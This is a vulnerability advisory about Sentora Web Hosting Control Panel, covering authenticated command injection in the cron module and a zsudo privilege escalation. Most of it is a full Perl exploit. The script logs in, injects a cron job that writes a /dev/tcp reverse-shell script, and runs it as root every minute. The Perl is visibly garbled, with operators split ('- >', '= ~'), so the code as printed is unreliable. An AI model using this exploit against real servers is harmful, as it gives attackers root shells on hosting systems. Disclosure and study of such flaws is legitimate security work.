SSD Advisory – Sentora Web Hosting Control Panel Multiple Vulnerabilities

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in Sentora Web Hosting Control Panel that lead to remote code execution.
Sentora is a free to download and use web hosting control panel developed for Linux, UNIX and BSD based servers or computers. The Sentora software can turn a domestic or commercial server into a fully fledged, easy to use and manage web hosting server.
The vulnerabilities found in Sentora Web Hosting Control Panel are:

  • Authenticated Code Execution
  • Privilege Escalation

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
The vendor has released an new version of the product which addressed the vulnerabilities.

Vulnerability Details
Authenticated Code Execution
An un-sanitized user input in cron module allows any logged in user to execute arbitrary commands via crafted request with the Apache default username permissions (www-data).
Vulnerable file: /etc/sentora/panel/modules/cron/code/controller.ext.php
Vulnerable parameter: inTiming
An attacker can add return carriages (‘\n’) to the payload, which could be used to inject several commands in cron file, escaping from the sandbox used by Sentora to execute cron.
Proof of Concept

POST /?module=cron&action=CreateCron HTTP/1.1
[...]
inScript=.htaccess&inDescription=XSS%2C+yes%2C+too.&inTiming=COMMAND_TO_EXECUTE&inReturn=GetFullURL&inUserID=1&csfr_token=hhizouumfeh0ipymtpssuzznvrt9is0yhrhikf0jdhrwkib4xd
Command 1
Command 2
Command 3

Privilege Escalation
A design flaw in zsudo binary allows any system user, who has enough privileges to execute system commands (Please look at the first vulnerability), to obtain root privileges.
Vulnerable file: /etc/sentora/panel/bin/zsudo
An attacker can insert crafted zsudo parameters to execute command as root. You can inject $(ANY_COMMAND) in a pipe redirection and the command will be executed as root.
Proof of Concept
An attacker can run the following command to execute /tmp/s.sh as root:

/etc/sentora/panel/bin/zsudo 'id>/tmp/$(/tmp/s.sh)'
1

Exploit
To exploit those two vulnerabilities and get reverse root shell from ip/port you specify:

#!/usr/bin/perl
use LWP::UserAgent;
$PAYLOAD_START = "* * * * * echo '#!/bin/bash' >/tmp/s.sh;echo 'bash -i >& /dev/tcp/";
$PAYLOAD_END = " 0>&1'>>/tmp/s.sh;chmod +x /tmp/s.sh;/etc/sentora/panel/bin/zsudo 'id>/tmp/\$(/tmp/s.sh)' \x0A#";
print "\n\n";
print "\t================================\n";
print "\t[ Sentora Remote Root Exploit ]\n";
print "\t================================\n\n";
my $argc = @ARGV;
if ($argc != 6) {
    print " [*] Usage: ".$0.
    " <url> <user> <pass> <file> <ip> <port>\n";
    print " file: Any file in public_html folder, ex: index.php\n\n";
    exit 1;
}
my $ua = http_handler();
my $url = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
my $file = $ARGV[3];
my $ip = $ARGV[4];
my $port = $ARGV[5];
if ($url!~/^http/) {
    $url = "http://".$url;
}
if ($url!~/\/$/) {
    $url. = "/";
}
print " [*] Trying to login...\n";
doLogin($url, $user, $pass, $ua);
print " [+] Login successfull!\n";
print " [*] Trying to get root...\n";
doRoot($url, $user, $pass, $file, $ip, $port, $ua);
print " [+] Rooted! You got shell on ".$ip.
":".$port.
"\n";
print " It spawns every minute until you delete the job from the panel :)\n\n";
sub http_post {
    my($host, $ua, % data) = @_;
    my $rsp = $ua - > post($host, [ % data]);
    return ($rsp - > content);
}
sub http_handler {
    my $newhandler = LWP::UserAgent - > new() or
    return -1;
    $newhandler - > agent("Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6");
    $newhandler - > timeout(10);
    $newhandler - > protocols_allowed(['http', 'https']);
    $newhandler - > cookie_jar({});
    push@ {
        $newhandler - > requests_redirectable
    }, 'GET';
    push@ {
        $newhandler - > requests_redirectable
    }, 'POST';
    return $newhandler;
}
sub doLogin {
    my $url = $_[0];
    my $user = $_[1];
    my $pass = $_[2];
    my $ua = $_[3];
    my % pdata;
    my $rsp = $ua - > get($url);
    if (!$rsp - > is_success) {
        die(" [-] Can't access to Sentora: '".$url.
            "'\n");
    }
    my $cont = $rsp - > content;
    $cont = ~/name=\"csfr_token\" value=\"([^\"]+)\"/;
    my $token = $1;
    $pdata {
        "inUsername"
    } = $user;
    $pdata {
        "inPassword"
    } = $pass;
    $pdata {
        "inSessionSecurity"
    } = "on";
    $pdata {
        "sublogin2"
    } = "LogIn";
    $pdata {
        "csfr_token"
    } = $token;
    $cont = http_post($url, $ua, % pdata);
    if ($cont = ~/Invalid Username or Password/) {
        die(" [-] Cannot login to Sentora, check username and password\n");
    }
}
sub doRoot {
    my $url = $_[0];
    my $user = $_[1];
    my $pass = $_[2];
    my $file = $_[3];
    my $ip = $_[4];
    my $port = $_[5];
    my $ua = $_[6];
    my % pdata;
    my $rsp = $ua - > get($url.
        "?module=cron");
    if (!$rsp - > is_success) {
        die(" [-] Can't access to Cron module of Sentora, maybe disabled :(\n");
    }
    my $cont = $rsp - > content;
    $cont = ~/name=\"csfr_token\" value=\"([^\"]+)\"/;
    my $token = $1;
    $cont = ~/name=\"inUserID\" value=\"(\d+)\"/;
    my $userId = $1;
    $pdata {
        "inScript"
    } = $file;
    $pdata {
        "inDescription"
    } = "XSS, yes, too";
    $pdata {
        "inTiming"
    } = $PAYLOAD_START.$ip.
    "/".$port.$PAYLOAD_END;
    $pdata {
        "inReturn"
    } = "GetFullUrl";
    $pdata {
        "inUserID"
    } = $userId;
    $pdata {
        "csfr_token"
    } = $token;
    $ua - > default_header('Referer' => $url.
        "?module=cron");
    $cont = http_post($url.
        "?module=cron&action=CreateCron", $ua, % pdata);
    if ($cont = ~/Cron updated successfully/) {
        return;
    }
    die(" [-] Cannot create Cron job, check if the file parameter exists.\n");
}